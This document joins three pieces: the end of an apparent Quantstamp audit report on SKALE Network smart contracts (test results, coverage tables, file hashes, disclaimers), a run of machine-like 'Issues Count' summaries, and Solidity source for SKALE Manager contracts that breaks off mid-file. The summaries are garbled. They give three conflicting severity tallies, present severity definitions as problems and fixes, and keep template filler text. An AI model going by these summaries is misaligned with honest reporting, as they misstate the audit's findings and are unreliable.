(156ms) ✓ should not allow to retrieve funds if it was not approved (114ms) ✓ should not allow to retrieve funds if launch is not completed (159ms) ✓ should allow seller to approve transfer to buyer (1735ms) ✓ should allow seller to change address of approval (851ms) ✓ should allow seller to change value of approval (702ms) when holder bought tokens ✓ should lock tokens (748ms) ✓ should not unlock purchased tokens if delegation request was cancelled (1506ms) ✓ should be able to delegate part of tokens (4713ms) ✓ should unlock all tokens if 50% was delegated for 90 days (3020ms)✓ should unlock no tokens if 40% was delegated (2451ms) ✓ should unlock all tokens if 40% was delegated and then 10% was delegated (5434ms) ✓ should unlock tokens after 3 month after 50% tokens were used (3733ms) ✓ should unlock tokens if 50% was delegated and then slashed (2787ms) ✓ should not lock free tokens after delegation request cancelling (2929ms) Contract: DelegationController ✓ should not lock tokens by default (205ms) ✓ should not allow to get state of non existing delegation when delegation request is sent ✓ should be in `proposed` state (98ms) ✓ should automatically unlock tokens after delegation request if validator don't accept (270ms) ✓ should allow holder to cancel delegation before acceptance (744ms) ✓ should not allow to accept request after end of the month (510ms) when delegation request is accepted ✓ should allow to move delegation from proposed to accepted state (261ms) ✓ should not allow to request undelegation while is not delegated (161ms) ✓ should not allow to cancel accepted request (168ms) when 1 month was passed ✓ should become delegated (256ms) ✓ should allow to send undelegation request (923ms) Contract: ValidatorService ✓ should register new validator (155ms) ✓ should reject if validator tried to register with a fee rate higher than 100 percent (61ms) when validator registered ✓ should reject when validator tried to register new one with the same address (64ms) ✓ should reset name, description, minimum delegation amount (203ms) ✓ should link new node address for validator (138ms) ✓ should reject if linked node address tried to unlink validator address (150ms) ✓ should reject if validator tried to override node address of another validator (333ms) ✓ should not link validator like node address (220ms) ✓ should unlink node address for validator (460ms) ✓ should not allow changing the address to the address of an existing validator (168ms) ✓ should reject when someone tries to set new address for validator that doesn't exist (60ms) ✓ should reject if validator tries to set new address as null (61ms) ✓ should reject if provided validatorId equals zero (65ms) ✓ should return list of trusted validators (442ms) when validator requests for a new address ✓ should reject when hacker tries to change validator address (89ms) ✓ should set new address for validator (153ms) when holder has enough tokens ✓ should allow to enable validator in whitelist (112ms) ✓ should allow to disable validator from whitelist (311ms) ✓ should not allow to send delegation request if validator isn't authorized (284ms) ✓ should allow to send delegation request if validator is authorized (525ms) ✓ should be possible for the validator to enable and disable new delegation requests (1642ms) Contract: SkaleManager ✓ should fail to process token fallback if sent not from SkaleToken (80ms) ✓ should transfer ownership (199ms) when validator has delegated SKALE tokens ✓ should create a node (588ms) ✓ should not allow to create node if validator became untrusted (1047ms) when node is created ✓ should fail to init exiting of someone else's node (180ms) ✓ should initiate exiting (370ms) ✓ should remove the node (457ms) ✓ should remove the node by root (410ms) when two nodes are created ✓ should fail to initiate exiting of first node from another account (168ms) ✓ should fail to initiate exiting of second node from another account (168ms) ✓ should initiate exiting of first node (382ms) ✓ should initiate exiting of second node (389ms) ✓ should remove the first node (416ms) ✓ should remove the second node (436ms) ✓ should remove the first node by root (410ms) ✓ should remove the second node by root (756ms) ✓ should check several monitoring periods (5157ms) when 18 nodes are in the system ✓ should fail to create schain if validator doesn't meet MSR (449ms) ✓ should fail to send monitor verdict from not node owner (146ms) ✓ should fail to send monitor verdict if send it too early (172ms) ✓ should fail to send monitor verdict if sender node does not exist (148ms) ✓ should send monitor verdict (258ms) ✓ should send monitor verdicts (433ms) when monitor verdict is received ✓ should store verdict block ✓ should fail to get bounty if sender is not owner of the node (120ms) ✓ should estimate bounty (277ms) ✓ should get bounty (3190ms) when monitor verdict with downtime is received ✓ should store verdict block ✓ should fail to get bounty if sender is not owner of the node (271ms) ✓ should get bounty (4312ms) ✓ should get bounty after break (4211ms) ✓ should get bounty after big break (4157ms) when monitor verdict with latency is received ✓ should store verdict block ✓ should fail to get bounty if sender is not owner of the node (115ms) ✓ should get bounty (3389ms) ✓ should get bounty after break (3186ms) ✓ should get bounty after big break (6498ms) when developer has SKALE tokens ✓ should create schain (3345ms) when schain is created ✓ should fail to delete schain if sender is not owner of it (213ms) ✓ should delete schain (2039ms) ✓ should delete schain after deleting node (4645ms) when another schain is created✓ should fail to delete schain if sender is not owner of it (180ms) ✓ should delete schain by root (2712ms) when 32 nodes are in the system when developer has SKALE tokens ✓ should create 2 medium schains (6351ms) when schains are created ✓ should delete first schain (2249ms) ✓ should delete second schain (2254ms) when 16 nodes are in the system ✓ should create 16 nodes & create & delete all types of schain (38429ms) Contract: SkaleToken ✓ should have the correct name ✓ should have the correct symbol ✓ should have the correct decimal level ✓ should return the сapitalization of tokens for the Contract ✓ owner should be equal owner (41ms) ✓ should check 10 SKALE tokens to mint (38ms) ✓ the owner should have all the tokens when the Contract is created ✓ should return the total supply of tokens for the Contract ✓ any account should have the tokens transferred to it (424ms) ✓ should not let someone transfer tokens they do not have (1006ms) ✓ an address that has no tokens should return a balance of zero ✓ an owner address should have more than 0 tokens ✓ should emit a Transfer Event (335ms) ✓ allowance should return the amount I allow them to transfer (84ms) ✓ allowance should return the amount another allows a third account to transfer (81ms) ✓ allowance should return zero if none have been approved for the account ✓ should emit an Approval event when the approve method is successfully called (57ms) ✓ holder balance should be bigger than 0 eth ✓ transferFrom should transfer tokens when triggered by an approved third party (404ms) ✓ the account funds are being transferred from should have sufficient funds (1000ms) ✓ should throw exception when attempting to transferFrom unauthorized account (685ms) ✓ an authorized accounts allowance should go down when transferFrom is called (428ms) ✓ should emit a Transfer event when transferFrom is called (394ms) ✓ should emit a Minted Event (420ms) ✓ should emit a Burned Event (320ms) ✓ should not allow reentrancy on transfers (1790ms) ✓ should not allow to delegate burned tokens (2591ms) ✓ should parse call data correctly (423ms) Contract: MathUtils ✓ should properly compare (42ms) ✓ should properly approximately check equality (80ms) in transaction ✓ should subtract normally if reduced is greater than subtracted 3 string ✓ should return 0 if reduced is less than subtracted and emit event (74ms) in call ✓ should subtract normally if reduced is greater than subtracted ✓ should return 0 if reduced is less than subtracted Code Coverage : For the commit 50c8f4e The contracts that are in-scope are generally well-covered with tests: for most files, test coverage exceeds 90%. However, some lines could use additional coverage, such as: , : testing delegation completion • delegation/DelegationControllerL119-120 , : testing an edge case for slashing forgiveness • delegation/TokenState.solL121 , : testing bounty locking • delegation/SkaleBalancesL74-75 The third-party library has a coverage of only 23.77%, however, it appears to have its own test suite in the upstream repository. BokkyPooBahsDateTimeLibrary.sol, we recommend improving branch coverage for the files that are lacking coverage. For specifically, test coverage seems to be low at the commit we are auditing. For the commitremediation-3 TokenState.sol We re-ran the tests for the commit , and some files still have low coverage, including . We recommend improving code coverage. Update:9d60180 TokenState.sol File % Stmts % Branch % Funcs % Lines Uncovered Lines contracts/ 95.74 74.59 95.69 95.84 ConstantsHolder.sol 84 25 72.73 84 192,196,200,201 ContractManager.sol 100 62.5 100 100 Decryption.sol 100 100 100 100 ECDH.sol 95.77 75 100 95.77 160,187,229 Monitors.sol 97.44 90.63 95 97.62 127,218,276 File% Stmts % Branch % Funcs % Lines Uncovered Lines Nodes.sol 98.56 78.26 97.37 98.04 356,509,538 Permissions.sol 88.89 60 83.33 84.62 76,82 Pricing.sol 97.67 85.71 100 97.67 74 Schains.sol 94.81 72 94.74 94.74 … 229,230,231 SchainsInternal.sol 93.85 85.71 94.12 94.34 … 549,648,734 SkaleDKG.sol 95.3 58.33 100 96.15 … 176,478,489 SkaleManager.sol 96.75 76 100 96.75 257,292,314,366 SkaleToken.sol 100 66.67 100 100 SkaleVerifier.sol 94.74 78.57 100 94.74 61 SlashingTable.sol 100 100 100 100 contracts/ delegation/ 93.3 75.31 95.95 93.06 DelegationController.sol 95.59 84.88 96 95.57 … 736,748,786 DelegationPeriodManager.sol 71.43 100 66.67 71.43 55,57 Distributor.sol 94.29 69.23 100 94.29 179,186,208,214 PartialDifferences.sol 89.11 76.09 100 90 … 295,296,299 Punisher.sol 100 50 100 94.44 94 TimeHelpers.sol 100 50 100 100 TokenLaunchLocker.sol 97.78 77.27 100 97.96 89 TokenLaunchManager.sol 100 68.75 100 100 TokenState.sol 64 0 80 59.26 … 104,105,106 ValidatorService.sol 94.32 78.26 93.75 94.68 … 394,420,437 contracts/ utils/ 98.06 76.32 97.22 98.11 FieldOperations.sol 96.92 83.33 100 96.92 171,250 FractionUtils.sol 94.44 50 83.33 94.44 43 MathUtils.sol 100 87.5 100 100 Precompiled.sol 100 50 100 100 StringUtils.sol 100 100 100 100 All files 95.12 75 95.91 95.1 Appendix File Signatures The following are the SHA-256 hashes of the reviewed files. A file with a different SHA-256 hash has been modified, intentionally or otherwise, after the security review. You are cautioned that a different SHA-256 hash could be (but is not necessarily) an indication of a changed condition or potential vulnerability that was not within the scope of the review. Contracts 3b5f554e5cb3ba6e111b3bf89c21fe4f20640da5a10e87bcb4670eccc3329d62 ./contracts/ContractManager.sol e2a5194a012c8dbda09796f9d636a3b0ca9f926f9368ce3d4a5d41f9b05ed908 ./contracts/Permissions.sol 6c233479d7dca03fd9524e1fd5991e60cd4e15b049b61e4ad5200039076e4270 ./contracts/SkaleToken.sol a6c52a9b24669db1ca15ac63a650c573020bfaa78e67dc63dd9a37e2c0f45188 ./contracts/SkaleManager.sol 2abb171a3bdf413e1a6bd8bfbc920251c162a9240a665bc4eec4415ac27e6f01 ./contracts/interfaces/delegation/IDelegatableToken.sol daf515794090cf18eda69ff4c2f42ae17c28cf9d64e89343e196683167aa57ab ./contracts/interfaces/delegation/ILocker.sol df46ac05894d217c532804c2a37ae95e2bfab384ff97a0a86e5fdf05da49d9c3 ./contracts/thirdparty/BokkyPooBahsDateTimeLibrary.sol 4985fcdd612c04439424e00942b627d604779640fa4216279779547e9624e01a ./contracts/thirdparty/openzeppelin/ERC777.sol 0ab43141c1be6c6764ed9c15c9b87a803250ff4ad57b56bd0be002b9358260d8 ./contracts/delegation/Punisher.sol c13f4a58aac93d20b667f62b880627f4681ea5aaa2ec1a86c8f93cee55f342b5./contracts/delegation/DelegationPeriodManager.sol 921d6266a1bfbe97259e34c90d854841ee87d6dce183edc9bb1fd577c9089370 ./contracts/delegation/TimeHelpers.sol eab81a275aa9464e4e81d10e99817e867f586c3c81000d8b2472a8497e3527db ./contracts/delegation/TokenLaunchLocker.sol 7a63cff448c2d7b2f4862548444ba6bf8bb137fb22aec68487104dd483ae87a5 ./contracts/delegation/PartialDifferences.sol 1fdeaae183e4c3685cea9b860a5fc1720d7e8a309c9108f70e3e0286ce2f37b0 ./contracts/delegation/TokenState.sol b8968762050d788c908042a217a4942dcc3a49de961b5f046a26e05acdfe6885 ./contracts/delegation/Distributor.sol e0ee452239ff287f3719eae71c464422f0963696467b656f1fda3f512ab2c5ed ./contracts/delegation/DelegationController.sol 1459d07fee70ad118790f5797690ea7826170bc2be2d6594b22d8ab0fad288cc ./contracts/delegation/TokenLaunchManager.sol b2242ae9b1ff600ec27ffe19d4a9ca2f97a72d13573f00ac8e494b3b018203c2 ./contracts/delegation/ValidatorService.sol 9ccbd82dab4f785b8ab3be31daad3bffa7b2a9043a3a78d18c5a65cdc756d115 ./contracts/utils/MathUtils.sol c5eb14b8c58067d273ca65714ab37dd7245e8dbbcc78f698f741dc265d0b8ecf ./contracts/utils/StringUtils.sol Tests 7445aec498345cbcfd2f7e23d544d6162dcd55c83f67094b84198d1c07a63d39 ./test/ECDH.ts 1c6e373bbf0df3ea96edbebb4f37d71668c752055127d5f806be391d1991dbba ./test/SkaleToken.ts 8fe27026eaa30c437fac34bf3fa16e6d148b7c3468af5c91d88ccf0e108ca0b2 ./test/Schains.ts 269ce78a5ede9b3f142b1bf2c6ea4c9e930ad46e0bc5874e96f94b30ce836c67 ./test/Monitors.ts 774772f446f0a778e652799612a5d25864f39cebc956d0010ad3006146dba14d ./test/SkaleDKG.ts 85de8a2a0f8c62ea54b599d11a72e88fe4e1911fd116f0523e861b59cef06fd2 ./test/Pricing.ts 38758b00b5a8f7218103e12f5b680d10392722110e2272c6443b71b386348c56 ./test/SkaleVerifier.ts 0a019c657a6e51b17f143906802139a99d99c4649a38dcdda9632023f2aaf822 ./test/ContractManager.ts 357e8e0d92cd9de52c3a2894688e95d3978136977a6e525d733117bd5ae922c4 ./test/ConstantsHolder.ts 31ccd2f2d91adeeb739b7ebb3c4ae81b785f1c1f0c0c4f31e108f9d94435b1a3 ./test/NodesFunctionality.ts f4c07816c16a02470b487bd3e0f9deca7cc766ea8b539bd9dd1b10c7a274cca4 ./test/Decryption.ts 8dc44b1e7fa1796ee22036e1d5d82560714d7f24727a0f352db5f4a864b1d434 ./test/SkaleManager.ts 68fc99377576c7aea33cef124a60dfdc0e0cbe68280c60a69e9b07e753d31992 ./test/SchainsInternal.ts a2151cd98c0ca5c72ef12eda9331ccd28d7ee802d5e34dc22ef3d75b8d590cf2 ./test/NodesData.ts 0f90907534d86572f02d497f94c2d5d5b24d2d94b8c3df127d3445c89ea91fd4 ./test/delegation/Delegation.ts 0382677cdd6689a25c897f1449ba7cd7bfc8f546584275a9972053ba89ccd917 ./test/delegation/TokenState.ts 172239c144c2ad8c1656de650f74f9b678b70e5e7ec6341fc22e4486dd8e9a5c ./test/delegation/TokenLaunch.ts ee262687c8073fdc4489e6706413566731e3be1948f000f3b2f3c3add7308c5c ./test/delegation/PartialDifferences.ts 337c1b7ec194402da5204b1fc12ed84493079410a7acf160a03254f3c771998c ./test/delegation/DelegationController.ts a0392eb0a3b5c33d7a3c55f8dbeafbe7c0867542a4ed82d9eac19cc8816d28c7 ./test/delegation/ValidatorService.ts a3aaaacce8e943257a9861d9bc8400a6531ced268203a820385116a7e0d247b2 ./test/utils/MathUtils.ts a01b72aafb9900064e91dc53380d8aa8737f4baa72f54136d7d55553cceb9742 ./test/tools/types.ts 90c2bdf776dc095f4dd0c1f33f746bea37c81b3ad81d51571d8dc84d416ecd13 ./test/tools/elliptic-types.ts 166431169af5c5def41b885179f26f0b9a977091c62e2ef4c05547a0bd9ab4f0 ./test/tools/command_line.ts d41442de652a1c152afbb664069e4dd836c59b974c2f2c0955832fdcc617f308 ./test/tools/time.ts 862b66e303fdcd588b5fcd9153812893d22f9fe1acabf323e0eaaa5cfd778a0d ./test/tools/deploy/ecdh.ts 36f24255c90a436abce5ab1b2a14d2e19dda0402b7292bc5b52089689f56b20c ./test/tools/deploy/skaleToken.ts 7d52ba16d9dfed2314f6d140aa99f9e76a674d35a1960dcaf268f57b4d777aa5 ./test/tools/deploy/schains.ts d020d06aa6b43356332f078b22b9639d7a224642ac447618ce2f21e00252c15f ./test/tools/deploy/monitors.ts 1aa57879dc8cc4150e55f84c884c041ca387d82784fe49163e4ba00ac0c4c917 ./test/tools/deploy/nodes.ts 2eef616fd6dd94f7e71bbbfa49a280db9453d953867f7cd2d9ccbe5150e6ac42 ./test/tools/deploy/skaleDKG.ts b737e22a2a4958a1d8d6c0348bccc77b373ba71b4c74aa7798bb433014c120ce ./test/tools/deploy/pricing.ts 63e4802674e494a990b3ed5fe2dfcd32a5333320126f9ecc2856ac278b2dbb5c ./test/tools/deploy/slashingTable.ts a911fb09c3f47d109a5a668df47a8b7a6e99788966ab82dd1565bbf9515a59b5 ./test/tools/deploy/skaleVerifier.ts d98550c2db28471ff0a861987f5a3b0616b19ae08cd4256ab88c28194ebd947d ./test/tools/deploy/contractManager.ts de7143ec7676eb978f26e9c8bb55ac861a43d4b4089ab7701d71e42335943881 ./test/tools/deploy/factory.ts 928b1bd747e8cb8715d6547f445e186949c0a70bf9257711e1e7d0cd62126385./test/tools/deploy/constantsHolder.ts af7bcb8cfef5f110a1ee4c6a14451f9caaf0d00308a9fd5cd30bcf7759bb7720 ./test/tools/deploy/skaleManager.ts 6441be737f66551ec611210b7eff5128f8ced40cc4e6ac2e8bc865f866889480 ./test/tools/deploy/schainsInternal.ts 182d8295b09d1184f8bae29aef2a86e7b98c164d506997ed789625867534c799 ./test/tools/deploy/dectyption.ts c1e81470f0ae2a1a2ca82c145b5050d95be248ca7e5d8a7b0f40f08cc568df34 ./test/tools/deploy/delegation/punisher.ts 4224ab4d3e35bf3de906f9ac07ec553d719cc0810a01dcb750b18d8f59e8d2bb ./test/tools/deploy/delegation/tokenState.ts 40cebd0731796b38c584a881d4cef78532ca4a7bab456d79194de54cd6aae740 ./test/tools/deploy/delegation/tokenLaunchLocker.ts 29f342e6ec0b662fe021acf4e57691dfeec1a78c8624134287b9ef70cbba9de9 ./test/tools/deploy/delegation/tokenLaunchManager.ts 3b3657a436f5437bba6c9ff07e9a90507aceb7456466b851d33b4aa84c3377d3 ./test/tools/deploy/delegation/delegationController.ts 14663bff4b527d8b08c81ea577dceff2a70ea173816590a9d3b72bd8b5bf9b9e ./test/tools/deploy/delegation/distributor.ts 447f41a342e6645a08a6b96bd4e88abfc5009973af2526f8d410bfc7b7fa7046 ./test/tools/deploy/delegation/delegationPeriodManager.ts ff7d5f2a19c6766e728f1fcbc037c412f532649be1f448487c51e5f2ffa38c1b ./test/tools/deploy/delegation/timeHelpers.ts 9a19073e52af0e230516006d0f1eecafe320defa4808d9f3484b11db0e584c36 ./test/tools/deploy/delegation/validatorService.ts 8bee5eef07f2e98c9fb49880d682b7e350cd0ace0d1e1c56a56d220361616355 ./test/tools/deploy/test/partialDifferencesTester.ts 169c8f3df4758ae9780cff15eef9ada9549d1a082aff0302a25dc467e1616e4a ./test/tools/deploy/test/timeHelpersWithDebug.ts 65a100c7361f1fbb6c537c68aa9319519b39acf58e870bca6148725747638644 ./test/tools/deploy/test/reentracyTester.ts Changelog 2020-02-12 - Initial report •2020-02-20 - Severity level of QSP-2 lowered after discussing with the Skale team. •2020-06-19 - Diff audited ( ) • 50c8f4e..remediation-3 2020-06-25 - Diff audited (multiple commits) •2020-07-10 - Severity level of QSP-17 lowered •About QuantstampQuantstamp is a Y Combinator-backed company that helps to secure blockchain platforms at scale using computer-aided reasoning tools, with a mission to help boost the adoption of this exponentially growing technology. With over 1000 Google scholar citations and numerous published papers, Quantstamp's team has decades of combined experience in formal verification, static analysis, and software verification. Quantstamp has also developed a protocol to help smart contract developers and projects worldwide to perform cost-effective smart contract security scans. To date, Quantstamp has protected $1B in digital asset risk from hackers and assisted dozens of blockchain projects globally through its white glove security assessment services. As an evangelist of the blockchain ecosystem, Quantstamp assists core infrastructure projects and leading community initiatives such as the Ethereum Community Fund to expedite the adoption of blockchain technology. Quantstamp's collaborations with leading academic institutions such as the National University of Singapore and MIT (Massachusetts Institute of Technology) reflect our commitment to research, development, and enabling world-class blockchain security. Timeliness of content The content contained in the report is current as of the date appearing on the report and is subject to change without notice, unless indicated otherwise by Quantstamp; however, Quantstamp does not guarantee or warrant the accuracy, timeliness, or completeness of any report you access using the internet or other means, and assumes no obligation to update any information following publication. Notice of confidentiality This report, including the content, data, and underlying methodologies, are subject to the confidentiality and feedback provisions in your agreement with Quantstamp. These materials are not to be disclosed, extracted, copied, or distributed except to the extent expressly authorized by Quantstamp. Links to other websites You may, through hypertext or other computer links, gain access to web sites operated by persons other than Quantstamp, Inc. (Quantstamp). Such hyperlinks are provided for your reference and convenience only, and are the exclusive responsibility of such web sites' owners. You agree that Quantstamp are not responsible for the content or operation of such web sites, and that Quantstamp shall have no liability to you or any other person or entity for the use of third-party web sites. Except as described below, a hyperlink from this web site to another web site does not imply or mean that Quantstamp endorses the content on that web site or the operator or operations of that site. You are solely responsible for determining the extent to which you may use any content at any other web sites to which you link from the report. Quantstamp assumes no responsibility for the use of third- party software on the website and shall have no liability whatsoever to any person or entity for the accuracy or completeness of any outcome generated by such software. Disclaimer This report is based on the scope of materials and documentation provided for a limited review at the time provided. Results may not be complete nor inclusive of all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. Skale Network Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 1 - Major: 3 - Critical: 0 Moderate 3.a Problem: The issue puts a subset of users’ sensitive information at risk, would be detrimental for the client’s reputation if exploited, or is reasonably likely to lead to moderate financial impact. 3.b Fix: Adjusted program implementation, requirements or constraints to eliminate the risk. Major 4.a Problem: The issue puts a large number of users’ sensitive information at risk, or is reasonably likely to lead to catastrophic impact for client’s reputation or serious financial implications for client and users. 4.b Fix: Mitigated by implementing actions to minimize the impact or likelihood of the risk. Informational 5.a Problem: The issue does not post an immediate risk, but is relevant to security best practices or Defence in Depth. 5.b Fix: Acknowledged the existence of the risk, and decided to accept it without engaging in special efforts to control it. Observations - The scope of the audit is restricted to the set of files outlined in the section. - Issues Count of Minor/Moderate/Major/Critical - Minor: 2 - Moderate: 4 - Major: 2 - Critical: 0 Minor Issues 2.a Problem (one line with code reference): Unresolved findings in original commit (50c8f4e) 2.b Fix (one line with code reference): Addressed in separate commits/PRs (1da7bbd, 8c6a218, 8652d74, 0164b22, 7e040bf, bd17697, c671839) Moderate 3.a Problem (one line with code reference): 12 new potential issues of varying levels of severity 3.b Fix (one line with code reference): Address all issues before running in production Major 4.a Problem (one line with code reference): Severity of some findings remained as "undetermined" due to lack of documentation 4.b Fix (one line with code reference): Address all issues before running in production Critical - None Observations - Unresolved findings in original commit (50c8f4e) - 12 new potential issues of varying levels of severity Issues Count of Minor/Moderate/Major/Critical - Minor: 8 - Moderate: 1 - Major: 2 - Critical: 2 Minor Issues 2.a Problem: Potentially Unsafe Use of Arithmetic Operations (QSP-1) 2.b Fix: Fixed 3. Moderate 3.a Problem: Denial-of-Service (DoS) (QSP-15) 3.b Fix: Fixed 4. Major 4.a Problem: Validator Denial-of-Service (QSP-4) 4.b Fix: Fixed 5. Critical 5.a Problem: Free Tokens for Owner from Testing Code (QSP-3) 5.b Fix: Fixed 6. Observations - Quantstamp's objective was to evaluate the following files for security-related issues, code quality, and adherence to specification and best practices: ContractManager.sol, Permissions.sol, SkaleToken.sol, interfaces/ISkaleToken.sol, interfaces/delegation/IDelegatableToken.sol, interfaces/delegation/IHolderDelegation.sol, interfaces/delegation
/* ManagerData.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./Permissions.sol"; import "./interfaces/IManagerData.sol"; /** * @title ManagerData - Data contract for SkaleManager */ contract ManagerData is IManagerData, Permissions { // miners capitalization uint public minersCap; // start time uint32 public startTime; // time of current stage uint32 public stageTime; // amount of Nodes at current stage uint public stageNodes; //name of executor contract string executorName; /** * @dev setMinersCap - sets miners capitalization */ function setMinersCap(uint newMinersCap) external allow(executorName) { minersCap = newMinersCap; } /** * @dev setStageTimeAndStageNodes - sets new stage time and new amount of Nodes at this stage */ function setStageTimeAndStageNodes(uint newStageNodes) external allow(executorName) { stageNodes = newStageNodes; stageTime = uint32(block.timestamp); } /** * @dev constuctor in Permissions approach * @param newContractsAddress needed in Permissions constructor */ function initialize(address newContractsAddress) public initializer { Permissions.initialize(newContractsAddress); startTime = uint32(block.timestamp); executorName = "SkaleManager"; } } /* ConstantsHolder.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; import "./Permissions.sol"; import "./interfaces/IConstants.sol"; /** * @title Contains constants and common variables for Skale Manager system * @author Artem Payvin */ contract ConstantsHolder is IConstants, Permissions { // initial price for creating Node (100 SKL) uint public constant NODE_DEPOSIT = 100 * 1e18; // part of Node for Tiny Skale-chain (1/128 of Node) uint8 public constant TINY_DIVISOR = 128; // part of Node for Small Skale-chain (1/8 of Node) uint8 public constant SMALL_DIVISOR = 8; // part of Node for Medium Skale-chain (full Node) uint8 public constant MEDIUM_DIVISOR = 1; // part of Node for Medium Test Skale-chain (1/4 of Node) uint8 public constant MEDIUM_TEST_DIVISOR = 4; // typically number of Nodes for Skale-chain (16 Nodes) uint public constant NUMBER_OF_NODES_FOR_SCHAIN = 16; // number of Nodes for Test Skale-chain (2 Nodes) uint public constant NUMBER_OF_NODES_FOR_TEST_SCHAIN = 2; // number of Nodes for Test Skale-chain (4 Nodes) uint public constant NUMBER_OF_NODES_FOR_MEDIUM_TEST_SCHAIN = 4; // 'Fractional' Part of ratio for create Fractional or Full Node uint public constant FRACTIONAL_FACTOR = 128; // 'Full' part of ratio for create Fractional or Full Node uint public constant FULL_FACTOR = 17; // number of second in one day uint32 public constant SECONDS_TO_DAY = 86400; // number of seconds in one month uint32 public constant SECONDS_TO_MONTH = 2592000; // number of seconds in one year uint32 public constant SECONDS_TO_YEAR = 31622400; // number of seconds in six years uint32 public constant SIX_YEARS = 186624000; // initial number of monitors uint public constant NUMBER_OF_MONITORS = 24; // MSR - Minimum staking requirement uint public msr; // Reward period - 30 days (each 30 days Node would be granted for bounty) uint32 public rewardPeriod; // Allowable latency - 150000 ms by default uint32 public allowableLatency; /** * Delta period - 1 hour (1 hour before Reward period became Monitors need * to send Verdicts and 1 hour after Reward period became Node need to come * and get Bounty) */ uint32 public deltaPeriod; /** * Check time - 2 minutes (every 2 minutes monitors should check metrics * from checked nodes) */ uint8 public checkTime; /** * Last time when system was underloaded * (allocations on Skale-chain / allocations on Nodes < 75%) */ uint public lastTimeUnderloaded; /** * Last time when system was overloaded * (allocations on Skale-chain / allocations on Nodes > 85%) */ uint public lastTimeOverloaded; //Need to add minimal allowed parameters for verdicts uint public launchTimestamp; uint public rotationDelay; uint public proofOfUseLockUpPeriodDays; /** * Set reward and delta periods to new one, run only by owner. This function * only for tests. * @param newRewardPeriod - new Reward period * @param newDeltaPeriod - new Delta period */ function setPeriods(uint32 newRewardPeriod, uint32 newDeltaPeriod) external onlyOwner { rewardPeriod = newRewardPeriod; deltaPeriod = newDeltaPeriod; } /** * Set new check time. This function only for tests. * @param newCheckTime - new check time */ function setCheckTime(uint8 newCheckTime) external onlyOwner { checkTime = newCheckTime; } /** * Set time if system underloaded, run only by NodesFunctionality contract */ function setLastTimeUnderloaded() external allow("NodesFunctionality") { lastTimeUnderloaded = now; } /** * Set time if system iverloaded, run only by SchainsFunctionality contract */ function setLastTimeOverloaded() external allow("SchainsFunctionality") { lastTimeOverloaded = now; } /** * Set latency new one in ms, run only by owner. This function * only for tests. * @param newAllowableLatency - new Allowable Latency */ function setLatency(uint32 newAllowableLatency) external onlyOwner { allowableLatency = newAllowableLatency; } function setMSR(uint newMSR) external onlyOwner { msr = newMSR; } function setLaunchTimestamp(uint timestamp) external onlyOwner { launchTimestamp = timestamp; } function setRotationDelay(uint newDelay) external onlyOwner { rotationDelay = newDelay; } function setProofOfUseLockUpPeriod(uint periodDays) external onlyOwner { proofOfUseLockUpPeriodDays = periodDays; } /** * @dev constructor in Permissions approach * @param contractsAddress needed in Permissions constructor */ function initialize(address contractsAddress) public initializer { Permissions.initialize(contractsAddress); msr = 5e6 * 1e18; rewardPeriod = 3600; // Test parameters allowableLatency = 150000; // Test parameters deltaPeriod = 300; // Test parameters checkTime = 120; // Test parameters lastTimeUnderloaded = 0; lastTimeOverloaded = 0; launchTimestamp = now; rotationDelay = 12 hours; proofOfUseLockUpPeriodDays = 90; } } /* GroupsData.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.5.16; pragma experimental ABIEncoderV2; import "./Permissions.sol"; import "./interfaces/IGroupsData.sol"; interface ISkaleDKG { function openChannel(bytes32 groupIndex) external; function deleteChannel(bytes32 groupIndex) external; function isChannelOpened(bytes32 groupIndex) external view returns (bool); } /** * @title GroupsData - contract with some 